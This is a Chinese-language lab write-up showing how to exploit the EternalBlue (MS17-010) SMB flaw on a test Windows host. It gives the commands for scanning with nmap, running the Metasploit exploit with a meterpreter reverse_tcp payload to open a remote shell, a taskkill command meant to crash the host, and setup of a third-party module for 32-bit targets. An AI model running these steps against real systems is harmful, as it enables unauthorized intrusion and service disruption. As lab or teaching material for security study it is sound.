永恒之蓝 ms17-010

文章目录

  • 永恒之蓝 ms17-010
    • 1. 漏洞介绍
      • 1.1 影响版本
      • 1.2 漏洞原理
    • 2. 信息收集
      • 2.1 主机扫描
      • 2.2 端口扫描
    • 3. 漏洞探测
    • 4. 漏洞利用
    • 5. 特殊情况
      • 5.1 安装wine32环境
      • 5.2 安装攻击32位操作系统所用的的脚本

永恒之蓝 ms17-010

很久之前做过的永恒之蓝漏洞…

1. 漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

2. 信息收集

2.1 主机扫描

arp-scan -l

永恒之蓝 ms17-010_第1张图片

2.2 端口扫描

nmap -O -sS -T4 192.168.188.222

永恒之蓝 ms17-010_第2张图片

3. 漏洞探测

msfconsole
# 搜寻模块
search ms17-010

永恒之蓝 ms17-010_第3张图片

# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info

永恒之蓝 ms17-010_第4张图片

使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

show options

永恒之蓝 ms17-010_第5张图片

RHOSTS选项为空,需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。

set rhosts 192.168.188.222

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

run

image-20231024204251498

4. 漏洞利用

search 17-010

永恒之蓝 ms17-010_第6张图片

设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

set payload windows/x64/meterpreter/reverse_tcp

设置攻击目标

set rhosts 192.168.188.222
run

永恒之蓝 ms17-010_第7张图片

拿下该主机的shell,执行cmd命令。

getuid

永恒之蓝 ms17-010_第8张图片

ipconfig

永恒之蓝 ms17-010_第9张图片

蓝屏攻击

taskkill /f /fi "pid ne 1"

命令解析:

  • 用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程(PID为1)之外的其他进程。

  • 在 Windows 操作系统中,进程标识符(PID)为 1 的进程通常是系统进程,也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分,负责管理和调度其他进程的运行。

永恒之蓝 ms17-010_第10张图片

永恒之蓝 ms17-010_第11张图片

5. 特殊情况

由于不知道目标操作系统是32位还是64位的,我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。

如果在攻击的时候,出现攻击失败等提示信息,那么说明该模块只能攻击64位操作系统,也说明了目标靶机是32位的操作系统。

5.1 安装wine32环境

apt-get install wine32

在执行exploit时可能会出现 :

it looks like wine32 is missing, you should install it.

multiarch needs to be enabled first. as root, please

execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

验证是否安装成功

wine --version

用wine32执行cmd.exe

wine cmd.exe

5.2 安装攻击32位操作系统所用的的脚本

首先下载利用的脚本:

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

cd Eternalblue-Doublepulsar-Metasploit/
 
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

接下来使用exploit模块(步骤同上,原理同上)

msfconsole
 
search eternalblue  #或者search ms17-010

如果在成功打过去了,但是一直频繁的刷shell的信息,就是回弹不出shell的终端,这个是为什么?

  • 防火墙或安全软件阻止了反向连接:目标系统上可能配置了防火墙或安全软件,阻止了从被攻击系统回连到攻击者控制的服务器的连接。这样一来,即使成功执行了恶意代码,也无法建立与攻击者服务器的连接,导致无法回弹 shell。
  • 网络配置问题:目标系统的网络配置可能存在问题,例如无法访问互联网、网络隔离等,导致无法回连到攻击者的服务器。
  • 安全补丁或安全措施:目标系统可能已经应用了相关的安全补丁或采取了其他安全措施,修复了永恒之蓝漏洞或阻止了其利用。这样一来,攻击者无法成功利用漏洞,也无法回弹 shell。

你可能感兴趣的:(1024程序员节,ms17-010)